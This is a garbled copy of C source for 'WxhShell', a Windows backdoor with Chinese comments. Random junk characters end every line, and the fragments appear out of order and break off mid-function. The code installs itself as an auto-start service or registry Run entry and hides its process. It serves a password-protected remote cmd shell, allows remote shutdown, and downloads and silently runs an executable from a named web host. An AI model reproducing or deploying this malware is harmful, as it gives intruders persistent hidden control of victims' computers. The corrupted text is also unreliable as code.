    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w80g) 4V+  
    else { 0>Z/3i&?<  
    closesocket(wsh); )]n:y M  
    ExitThread(0); h/V0}|b  
    } ~ ${. sD\  
    break; KxGK`'E'r  
    } P`Anf_  
  // 关机 f`RcfYt  
  case 'd': { Uj0DX >I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9FX'Uws  
    if(Boot(SHUTDOWN)) @wYuc{%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P[8`]=  
    else { _Wk!d3bsx  
    closesocket(wsh); fwf]1@#   
    ExitThread(0); ;l &mA1+  
    } OY51~#BF  
    break; 'd|_i6:y&  
    } jv5p_v4%O  
  // 获取shell F,P,dc  
  case 's': { +<Uc42i7n  
    CmdShell(wsh); . ?[2,4F;  
    closesocket(wsh); ^B1Q";# B^  
    ExitThread(0); +*DXzVC  
    break; .B"h6WMz  
  } W _yVVr  
  // 退出 (VWTYG7  
  case 'x': { U:#9!J?41  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mUm9[X~'  
    CloseIt(wsh); ^WVH z;  
    break; (4>k+ H  
    } j Bl I^  
  // 离开 zK}$W73W^  
  case 'q': { !HY+6!hk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1$q SbQ  
    closesocket(wsh); {E@Vh  
    WSACleanup(); `V$i*{c:#  
    exit(1); kRTT ~  
    break; Yr ,e7da  
        } g&\A1H  
  } zo7Hm]W`  
  } 3O:Z;YP:<  
UKZsq5Q  
  // 提示信息 {&4+W=0 n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R% l=NHB}  
} = = cAL"Z  
  } e#0R9+"Ba  
/V2Ih  
  return; 3!Gnc0%c  
} wx>BNlT@?  
MJt?^G (w?  
// shell模块句柄 ^^{K[sLB  
int CmdShell(SOCKET sock) k129)79  
{ vO&%sjvH  
STARTUPINFO si; aHXd1\6m  
ZeroMemory(&si,sizeof(si)); tOn/r@Fd^E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Rc#{A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oq|RMl  
PROCESS_INFORMATION ProcessInfo; ("}TW-r~  
char cmdline[]="cmd"; }(hx$G^M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2x"&8Bg3  
  return 0; 4@.qM6 \\q  
} ,l_"%xYx  
nkG1&wiX  
// 自身启动模式 @v2_gjRe  
int StartFromService(void) N*f?A$u/I  
{ {<v?Z_!68  
typedef struct `&LPqb  
{ l <Tkg9  
  DWORD ExitStatus; Z0`Bn5  
  DWORD PebBaseAddress; ^GD"aerNr  
  DWORD AffinityMask; O8w R#(/  
  DWORD BasePriority; V) a<)  
  ULONG UniqueProcessId; :tl* >d~  
  ULONG InheritedFromUniqueProcessId; P bj&l0C  
}   PROCESS_BASIC_INFORMATION; D2#3fM6  
YiTiJ9jf  
PROCNTQSIP NtQueryInformationProcess; \3"4;fM!i  
}:])1!a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;/XWX$G@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "@ xI  
X/}kNW!q  
  HANDLE             hProcess; r,cV(  
  PROCESS_BASIC_INFORMATION pbi; 2TXrVaM  
Y^M3m' d?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +4Aj/$%[q  
  if(NULL == hInst ) return 0; N<zD<q  
*Ew`Fm H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (oBvpFP33  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bg'Qq|<U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bE74Ui  
8doKB<#_+=  
  if (!NtQueryInformationProcess) return 0; 08n2TL;EsX  
bX Q*d_]WT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W;4rhZEgd  
  if(!hProcess) return 0; }R=n!Y$F  
tda#9i[pkH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -,)&?S  
`aD~\O  
  CloseHandle(hProcess); mXtsP1  
l ~b# Y&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZP &q7HK\  
if(hProcess==NULL) return 0; \}P3mS"e3  
z\Hg@J&#  
HMODULE hMod; 3yX^93  
char procName[255]; r5M {*  
unsigned long cbNeeded; i882r=TE3  
<~@}r\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LUc!a4i"fO  
Za_w@o  
  CloseHandle(hProcess); _ I"}3*  
,bzE`6  
if(strstr(procName,"services")) return 1; // 以服务启动 <j,ZAA&5%Y  
_C2iP[YwQ{  
  return 0; // 注册表启动 2w_[c.  
} !'8.qs  
t6DgWKT6  
// 主模块 j #G4A%_  
int StartWxhshell(LPSTR lpCmdLine) rE$0a-d2B  
{ 8s16yuM  
  SOCKET wsl; {e~#6.$:  
BOOL val=TRUE; $REz {xgA=  
  int port=0; MKPxF@N(  
  struct sockaddr_in door; |L[/]@|  
{k*rD!tT  
  if(wscfg.ws_autoins) Install(); ^ >JAl<k  
8JYU1E w  
port=atoi(lpCmdLine); Tsg;i;  
.;}vp*  
if(port<=0) port=wscfg.ws_port;  UCV1{  
!0!m |^c5  
  WSADATA data; GVR/p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6l]jm j)/  
kn<IWW_t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o5LyBUJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nk?eVJ)  
  door.sin_family = AF_INET; sB`.G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vl'Gi44)3"  
  door.sin_port = htons(port); yAD-sy +/  
=\~<##sRJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZZq]I  
closesocket(wsl); O:%s;p 5  
return 1; !-rG1VI_S*  
} c||EXFS}O  
XX&4OV,^%D  
  if(listen(wsl,2) == INVALID_SOCKET) { nl<TM96  
closesocket(wsl); |?A:[C#X  
return 1; u+EZ"p;o  
} xnP@ h  
  Wxhshell(wsl); 3D 4-Wo4  
  WSACleanup(); (%~^Kmfb0  
Gk:tT1  
return 0; 5<U:Yy  
4N6JKS  
} rDI}X?JmX  
Lmsc ~~  
// 以NT服务方式启动 fVf @Ngvu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (;VlK#rnC  
{ ":@\kw  
DWORD   status = 0; ~'1gX`o:  
  DWORD   specificError = 0xfffffff; &A}hx\_T  
B']-4X{SGa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .fFXH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4j|IG/m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y'L7o V?L9  
  serviceStatus.dwWin32ExitCode     = 0; FQTAkkA_!  
  serviceStatus.dwServiceSpecificExitCode = 0; q"(b}3  
  serviceStatus.dwCheckPoint       = 0;  )OHGg  
  serviceStatus.dwWaitHint       = 0; #{_iNra9  
(vP<}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2$r8^}Nj?  
  if (hServiceStatusHandle==0) return; }TQa<;Q  
|P0!dt7sQ  
status = GetLastError(); n f.H0i;  
  if (status!=NO_ERROR) ,>+B>lbJ*  
{ *'w?j)}A9g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9*Q6/?v  
    serviceStatus.dwCheckPoint       = 0; 9$k0  
    serviceStatus.dwWaitHint       = 0; ~Y/:]&wF  
    serviceStatus.dwWin32ExitCode     = status; OEw#;l4 C  
    serviceStatus.dwServiceSpecificExitCode = specificError; {ty)2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .jUM'; l  
    return; rjK]zD9  
  } w)N~u%  
9U>OeTh(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Cu2xRr^`  
  serviceStatus.dwCheckPoint       = 0; ff&jR71E  
  serviceStatus.dwWaitHint       = 0; Ie4\d2tQ;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wKU9I[]  
} igx~6G*  
C19}Y4r:  
// 处理NT服务事件,比如:启动、停止 mUj_V#v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PctXh, =  
{ "7q!u,u  
switch(fdwControl) P{,A%t  
{ ui RO,B}z  
case SERVICE_CONTROL_STOP: +pPfvE`  
  serviceStatus.dwWin32ExitCode = 0; ee/3=/H|;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `^ZhxFX  
  serviceStatus.dwCheckPoint   = 0; Gg e X  
  serviceStatus.dwWaitHint     = 0; z~"Q_gme  
  { O!!N@Q2g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j*\oK@  
  } 40%fOu,u`  
  return; qxB|*P `  
case SERVICE_CONTROL_PAUSE: gLm,;'h%u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x8w l  
  break; ?;VsA>PV  
case SERVICE_CONTROL_CONTINUE: +=:_a$98  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `>0%Ha   
  break; 577#A,O  
case SERVICE_CONTROL_INTERROGATE: 3n,jrX75u  
  break; 4#qZ`H,Ur)  
}; !>\&*h-Cm#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5^D094J|^  
} ZIN1y;dJ  
nll=Vd[  
// 标准应用程序主函数 i 50E#+E8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) en>n\;U  
{ > ^=n|%  
/W GD7\G'8  
// 获取操作系统版本 q68CU~i*  
OsIsNt=GetOsVer(); JC0#pU;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {]bmecz  
S B~opN  
  // 从命令行安装 -Uan.#~S  
  if(strpbrk(lpCmdLine,"iI")) Install();  !2kM  
%QG3~b% h  
  // 下载执行文件 fMIRr5  
if(wscfg.ws_downexe) {  ZC]|s[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NH;e|8  
  WinExec(wscfg.ws_filenam,SW_HIDE); f&j\gYWq  
} A9lw^.  
eC"k-a8j+  
if(!OsIsNt) { up{0ehr  
// 如果时win9x,隐藏进程并且设置为注册表启动 4E2#krE%  
HideProc(); {#st>%i  
StartWxhshell(lpCmdLine); jzJQ/ZFS  
} Gphy8~eS  
else n }b{u@$  
  if(StartFromService()) XV/7K "  
  // 以服务方式启动 [>N#61CV 5  
  StartServiceCtrlDispatcher(DispatchTable); 0SU v5c  
else p>,D F9W`  
  // 普通方式启动 |sI@m@  
  StartWxhshell(lpCmdLine); 0BNH~,0u  
ul3~!9F5F  
return 0; Tw djBMte  
} 8 :WN@  
w$IUm_~waa  
Fv7]1EO.  
[n2zdiiBd  
=========================================== Qo :vAv  
 V~VUl)  
F!3p )?  
:pM)I5MN[  
WH4rZ }Z`  
@ <3E `j'p  
" L[ZS17 ;*  
+m]-)  
#include <stdio.h> '<3h8\"  
#include <string.h> ,ss"s3  
#include <windows.h> c(uD kX  
#include <winsock2.h> wK0x\V6dJ  
#include <winsvc.h> (kVY\!UAt  
#include <urlmon.h> ]isq}Qv~  
>|, <9z`D  
#pragma comment (lib, "Ws2_32.lib") ~;jgl_5?b  
#pragma comment (lib, "urlmon.lib") \s%g'g;  
vp2w^/])u  
#define MAX_USER   100 // 最大客户端连接数 0Ix,c(%  
#define BUF_SOCK   200 // sock buffer )u+O~Y95&i  
#define KEY_BUFF   255 // 输入 buffer k,$/l1D  
|fywqQFq  
#define REBOOT     0   // 重启 1$1>cuu  
#define SHUTDOWN   1   // 关机 3b\s;!  
]?)uYot  
#define DEF_PORT   5000 // 监听端口 c&1_lI,tH  
Q>\ Ho'  
#define REG_LEN     16   // 注册表键长度 A1F$//a  
#define SVC_LEN     80   // NT服务名长度 Dt<MEpbur  
$ K+| bb  
// 从dll定义API { TI,|'>5[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +_ /ys!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L){V(*K '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c]Gs{V]\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2z*}fkJ  
epKr6 xq  
// wxhshell配置信息 vmEn$`&2t  
struct WSCFG { H\V?QDn  
  int ws_port;         // 监听端口 ? A;RTM  
  char ws_passstr[REG_LEN]; // 口令 O:8 u^ TP  
  int ws_autoins;       // 安装标记, 1=yes 0=no h<)ceD<,  
  char ws_regname[REG_LEN]; // 注册表键名 qE3Ud:j  
  char ws_svcname[REG_LEN]; // 服务名 ]zVQL_%,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C[<{>fl)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'zav%}b]L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +'SL5d*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8G3 Z,8P4(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1) K<x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mhv6.W@  
L-)ZjXzk  
}; jJw  
p[o]ouTcS  
// default Wxhshell configuration T59FRX  
struct WSCFG wscfg={DEF_PORT, eI:x4K,#  
    "xuhuanlingzhe", ]KEE+o  
    1, Ky7.&6\n  
    "Wxhshell", Q|P M6ta  
    "Wxhshell", 4W|cIcU W  
            "WxhShell Service", @{#'y4\>  
    "Wrsky Windows CmdShell Service", P=1K u|k  
    "Please Input Your Password: ", 7FkiT  
  1, iDX<`)  
  "http://www.wrsky.com/wxhshell.exe", 50|nQ:u,  
  "Wxhshell.exe" ( tq);m&  
    }; 7XT(n v  
IJKdVb~   
// 消息定义模块 c~/poFj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % >a /m.$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y`8U0TE3R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ym"^Ds}  
char *msg_ws_ext="\n\rExit."; I L7kpH+y  
char *msg_ws_end="\n\rQuit."; Du +_dr^4  
char *msg_ws_boot="\n\rReboot..."; QHja4/  
char *msg_ws_poff="\n\rShutdown..."; WF*j^ %5  
char *msg_ws_down="\n\rSave to "; ?$ov9U_  
Dq%} ({+  
char *msg_ws_err="\n\rErr!"; )7!,_r  
char *msg_ws_ok="\n\rOK!"; X^dasU{*  
0sA`})Dk  
char ExeFile[MAX_PATH]; ~8 UMwpl-  
int nUser = 0; l%('5oz@\  
HANDLE handles[MAX_USER]; {X2uFw Gi  
int OsIsNt; 5D=U.UdR  
]@cI_n  
SERVICE_STATUS       serviceStatus; d&L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r_+!3   
olr#3te  
// 函数声明 N.+A-[7,W  
int Install(void); 5#x[rr{^*  
int Uninstall(void); 9>0OpgvC(  
int DownloadFile(char *sURL, SOCKET wsh); KztQT9kY  
int Boot(int flag); Sh5)36  
void HideProc(void); fQ"Vx!  
int GetOsVer(void); 0}`.Z03fy  
int Wxhshell(SOCKET wsl); h8%QF'C  
void TalkWithClient(void *cs); !-n* ]C  
int CmdShell(SOCKET sock); T%9t8?I  
int StartFromService(void); -dF (_ %C  
int StartWxhshell(LPSTR lpCmdLine); B5+Q%)52  
g$mMH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *2N0r2t&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ac{TqiIv  
^b~ZOg[p  
// 数据结构和表定义 -IVWkA)7  
SERVICE_TABLE_ENTRY DispatchTable[] = )Ghw!m  
{ {S-M]LE  
{wscfg.ws_svcname, NTServiceMain}, (VmFYNt&  
{NULL, NULL} mJd8?d  
}; "[k>pzl6  
%"oGJp  
// 自我安装 G;#xcld  
int Install(void) YahW%mv`d  
{ T`j {2  
  char svExeFile[MAX_PATH]; "x.iD,>k  
  HKEY key; kI04<!  
  strcpy(svExeFile,ExeFile); 6 <`e]PT  
,4XOe,WQ  
// 如果是win9x系统,修改注册表设为自启动 ,Xn %0]  
if(!OsIsNt) { p ^TCr<=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^~TE$i<   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ar 7.O;e  
  RegCloseKey(key); E}F-*go  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [-"ZuUG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vg3iT }  
  RegCloseKey(key); hT_Q_1,  
  return 0; nO'C2)bBSG  
    } *' es(]W  
  } ;XyryCo  
} DzA'MX  
else {  u+z  
A7XA?>~+|  
// 如果是NT以上系统,安装为系统服务 A.7lo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z  eY *5m  
if (schSCManager!=0) 1#;^ Z3  
{ =_3rc\0  
  SC_HANDLE schService = CreateService Eb6cL`#N  
  ( SYQP7oG9oQ  
  schSCManager, KRn[(yr`%  
  wscfg.ws_svcname, yKK9b  
  wscfg.ws_svcdisp, wxBZ+UP_  
  SERVICE_ALL_ACCESS, xzfugW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XV4aR3n{Q  
  SERVICE_AUTO_START, P.k>6T<U>  
  SERVICE_ERROR_NORMAL, Uc ,..  
  svExeFile, U|.r -$|5P  
  NULL, ps8tr:T^=  
  NULL, 'r_Fi5[q  
  NULL, 7@e}rh?N-|  
  NULL, ^.g-}r8,  
  NULL ~,)D n  
  ); 9mn~57`y  
  if (schService!=0) x./"SQ=R+  
  { l O*  
  CloseServiceHandle(schService); /B 3\e3  
  CloseServiceHandle(schSCManager); ,CPAS}kS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ez%:>r4  
  strcat(svExeFile,wscfg.ws_svcname); ~ Al3Dv9x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }wBpBw2J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :i {; 81V  
  RegCloseKey(key); [h&s<<# D  
  return 0; c=?6`m,"M  
    } i| ,}y`C#  
  } YwZx{%f  
  CloseServiceHandle(schSCManager); 4s'%BM-r-  
} 5{iNR4sq  
} /[/{m]  
$\1M"a}F  
return 1; omPxU2Jw  
} kD1Nq~h2  
lt]&o0>  
// 自我卸载 r}Gku0Hu_E  
int Uninstall(void) 5&_")k3$*  
{ 'Ox "YE  
  HKEY key; ZFH-srs{  
]mNsG0r6  
if(!OsIsNt) { Oi$1maxT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $T66%wX  
  RegDeleteValue(key,wscfg.ws_regname); o /1+ }f  
  RegCloseKey(key); TXV^f*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aMkuyqPf{  
  RegDeleteValue(key,wscfg.ws_regname); ySDo(EI4  
  RegCloseKey(key); N'l2$8  
  return 0; (]&B' 1b  
  } 9H:J&'Xi7  
} Zy?!;`c*{  
} ]BRwJ2< x  
else { :9x]5;ma  
* uccY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2~ETu&R:  
if (schSCManager!=0) 7PUy`H,&  
{ cH|J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7i02M~*uS  
  if (schService!=0) '^7UcgugB  
  { '"LaaTTs  
  if(DeleteService(schService)!=0) { hcYqiM@8>  
  CloseServiceHandle(schService); d1t_o2  
  CloseServiceHandle(schSCManager); +7 j/.R  
  return 0; 7(C)vtEO:  
  } KjF8T7%  
  CloseServiceHandle(schService); %gSmOW2.c^  
  } aM#xy6:XG  
  CloseServiceHandle(schSCManager); JX&%5sn(  
} v^p* l0r6:  
} *u,xBC2C  
k,<7)-  
return 1; ]-a/)8  
} G-]<+-Q$4  
OR' e!{  
// 从指定url下载文件 Nr)DU.f  
int DownloadFile(char *sURL, SOCKET wsh) -?{g{6  
{ pX!T; Re;  
  HRESULT hr; Ad3TD L?  
char seps[]= "/"; $3ZQ|X[|+  
char *token; ]]}iSw'  
char *file; Iue=\qUK^  
char myURL[MAX_PATH]; 2,Z@<  
char myFILE[MAX_PATH]; K$:btWSm  
t@+e#3P!  
strcpy(myURL,sURL); M _cm,|FF  
  token=strtok(myURL,seps); 4@mJEi{  
  while(token!=NULL) Ik A~+6UY  
  { W>&*.3{v  
    file=token; 8NE[L#k  
  token=strtok(NULL,seps); H<g8u{ $  
  } |DVFi2   
o"P)(;  
GetCurrentDirectory(MAX_PATH,myFILE); K)Z~ iBRM  
strcat(myFILE, "\\"); At[SkG}b  
strcat(myFILE, file); 9oP  
  send(wsh,myFILE,strlen(myFILE),0); a%6=sqxE  
send(wsh,"...",3,0); X2,v'`U5&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y-+Kf5_[  
  if(hr==S_OK) VJCj=jX  
return 0; 8 K)GH:a  
else i\.(6hf+  
return 1; 8-kR {9r  
BV/ ^S.~  
} as y:[r"  
zA$ f$J7\^  
// 系统电源模块 ]y$/~(OW  
int Boot(int flag) pV 8U`T  
{ /Zx"BSu  
  HANDLE hToken; SymlirL  
  TOKEN_PRIVILEGES tkp; *] >R  
f/0k,~,*  
  if(OsIsNt) { B(eiRr3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d]sg9`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JLu$UR4  
    tkp.PrivilegeCount = 1; !Bg^-F:N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Su +<mW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NQiu>Sg  
if(flag==REBOOT) {  zNn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?LvU7  
  return 0; [ {vX*q 3B  
} XC}2GHO<  
else { 30sA\TZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AxO.adQE%  
  return 0; qzZ;{>_f  
} wk^$DM/KJ)  
  } \]S)PDqR  
  else { BPOT!-  
if(flag==REBOOT) { Ex L7 ]3r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [IHG9Xg  
  return 0; >*+n`"6  
} m|]"e@SF2  
else { pMAFZfte!x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >,)U4 6  
  return 0; W+s3rS2  
} NNJQDkO-I  
} {D,- Whi  
C9FAX$$^(Y  
return 1; x%W~@_  
} ds{)p<LpT  
a%an={  
// win9x进程隐藏模块 5~#oQ&  
void HideProc(void) w-@6qMJ  
{ !<X/_+G\  
?fc<3q"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )W vOa] :  
  if ( hKernel != NULL ) QMDkkNK  
  { s~5rP:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \"5p )(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =dWq B&  
    FreeLibrary(hKernel); Vy=+G~  
  } 7MKZ*f@x;  
-y$<fu9 e  
return; lx ~C{tl2  
} ys7 Tq+  
y^ st T^  
// 获取操作系统版本 &*Kk> 4  
int GetOsVer(void) Q } 0_}W  
{ w`=XoYQl~*  
  OSVERSIONINFO winfo; #??[;xjs!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T7Ju7_q}  
  GetVersionEx(&winfo); ~eiD(04^r*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5pff}Ru`  
  return 1; jF#Dc[*  
  else d@Wze[M?0  
  return 0; }p8iq  
} mK^E@uxN  
j:^gmZ;J  
// 客户端句柄模块 yio8BcXH54  
int Wxhshell(SOCKET wsl) (d.M} G  
{ >Wd_?NaI  
  SOCKET wsh; ^7*zi_Q  
  struct sockaddr_in client;  W}Rzn  
  DWORD myID; UMPW<> z  
x4?g>v*J  
  while(nUser<MAX_USER) .`&k`  
{ 7WNUHLEt  
  int nSize=sizeof(client); Jr(Z Ym'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @v\8+0  
  if(wsh==INVALID_SOCKET) return 1; _ZK*p+u%  
I%z,s{9p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $B]_^  
if(handles[nUser]==0) D|vck1C5,  
  closesocket(wsh); .[?2_e#9%  
else I&% Z*H  
  nUser++; ^i@0P}K<  
  } eK\i={va  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uj)fah?Wg  
idjk uB(6  
  return 0; v++&%  
} {~'Iu8TvZ  
O`9vEovjs  
// 关闭 socket 1V,DcolRY  
void CloseIt(SOCKET wsh) sP>-k7K.  
{ v*OT[l7  
closesocket(wsh); ))7CqN  
nUser--; bq}`jP~#  
ExitThread(0); owA.P-4  
} m,rkKhXP  
gBXoEn]  
// 客户端请求句柄 {!1RlW  
void TalkWithClient(void *cs) ' 'p<C)Q  
{ aZq7(pen  
q{L-(!uz7_  
  SOCKET wsh=(SOCKET)cs; Y7')~C`up^  
  char pwd[SVC_LEN]; `"#hhKG  
  char cmd[KEY_BUFF]; F&7^M0x\ O  
char chr[1]; !2.eJ)G  
int i,j; -^< t%{d  
q{xF7}i  
  while (nUser < MAX_USER) { JL7;l0#  
Y/L*0 M.<  
if(wscfg.ws_passstr) { wxF\enDY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c? Mbyay  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +u`4@~D#  
  //ZeroMemory(pwd,KEY_BUFF); X7*fmD=Uy  
      i=0; =9:gW5F69  
  while(i<SVC_LEN) { jq_ i&~S  
8RcLs1n/  
  // 设置超时 J(9{P/  
  fd_set FdRead; g$JlpD&  
  struct timeval TimeOut; dleCh+ny?  
  FD_ZERO(&FdRead); CFu^i|7o  
  FD_SET(wsh,&FdRead); $qR@;=  
  TimeOut.tv_sec=8; sH%Ts@Pl  
  TimeOut.tv_usec=0; wZ_"@j<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); onIZ&wrk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8\+DSA  
_9<Mo;C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ehZ/J5  
  pwd=chr[0]; vPrlRG6  
  if(chr[0]==0xd || chr[0]==0xa) { D8WKy  
  pwd=0; @z`eqG,']  
  break; @=BApuer+  
  } cG1iO:  
  i++; x+[ATZ([  
    } #[Rs&$vQm  
&_\;p-1:  
  // 如果是非法用户,关闭 socket mH)8A+us  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &<- S-e  
} UUGX@  
FgMQ=O2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bicbCC6kC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'oUTY *  
Fx:4d$>;  
while(1) { bR?xz-g%<3  
f @Vd'k<  
  ZeroMemory(cmd,KEY_BUFF); 2dDhO  
WwxV} ?Cf+  
      // 自动支持客户端 telnet标准   #S[Y}-]T  
  j=0; UQbk%K2  
  while(j<KEY_BUFF) { x4v&%d=M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lWUQkS  
  cmd[j]=chr[0]; eWr6@  
  if(chr[0]==0xa || chr[0]==0xd) { ~m[Gp;pL  
  cmd[j]=0; 1yFIIj:^|  
  break; =o'g5Be<F  
  } b)r;a5"<5  
  j++; lWBewnLKE  
    } C(M?$s`  
4P#4R B  
  // 下载文件 C* 0Z F  
  if(strstr(cmd,"http://")) { 7W>(T8K X\  
